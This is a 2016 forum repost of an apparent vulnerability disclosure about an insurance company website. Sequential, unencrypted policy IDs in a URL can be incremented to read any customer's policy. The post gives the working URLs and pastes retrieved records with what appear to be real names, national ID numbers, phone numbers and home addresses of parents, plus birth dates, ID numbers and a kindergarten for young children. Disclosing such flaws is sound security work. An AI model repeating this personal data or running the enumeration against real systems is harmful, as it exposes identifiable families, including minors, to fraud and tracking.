HanDs
NO.2

[7月漏洞公开] 长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏(任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏(任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/)

详细说明:

http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641



其中prpCmainCode未加密



可以直接+1逻辑任意查询



code 区域
投保人信息
姓名 鲁生亮 与被保险人关系 父亲
证件号码 370681198404306411 联系电话 15154523777
通讯地址 山东省龙口市石良镇鲁家沟村58号 邮政编码
被保险人信息
姓名 鲁珈宁 性别 女 年龄 0
出生日期 2014-03-25 证件号码 370681201403256824
所在学校/幼儿园 婴幼儿 班级 婴幼儿 参加基本医疗 是
健康状况 良好 健康状况说明
保险期限 2014年05月24日零时起至2015年05月23日二十四时止







捕获.GIF





http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642



http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642



code 区域
财富长安宝宝卡
电子保单号码:627572014400080503642 保险卡号: 2013008509
投保人信息
姓名 谭晶予 与被保险人关系 母亲
证件号码 37060219821201104X 联系电话 18663866870
通讯地址 山东省烟台市四季花城 邮政编码 264000
被保险人信息
姓名 孔令州 性别 男 年龄 3
出生日期 2011-05-17 证件号码 37060220110517071X
所在学校/幼儿园 烟台市四季花城幼儿园 班级 托一 参加基本医疗 是
健康状况 良好 健康状况说明
保险期限 2014年05月24日零时起至2015年05月23日二十四时止
保障方案





捕获999.GIF







code 区域
http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503643







捕获99999.GIF







漏洞证明:

code 区域
http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641

其中prpCmainCode未加密

可以直接+1逻辑任意查询

修复方案:


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
长安 苍鹑伪 邢薰
#1楼
发帖时间:2016-7-18   |   查看数:0   |   回复数:0
游客组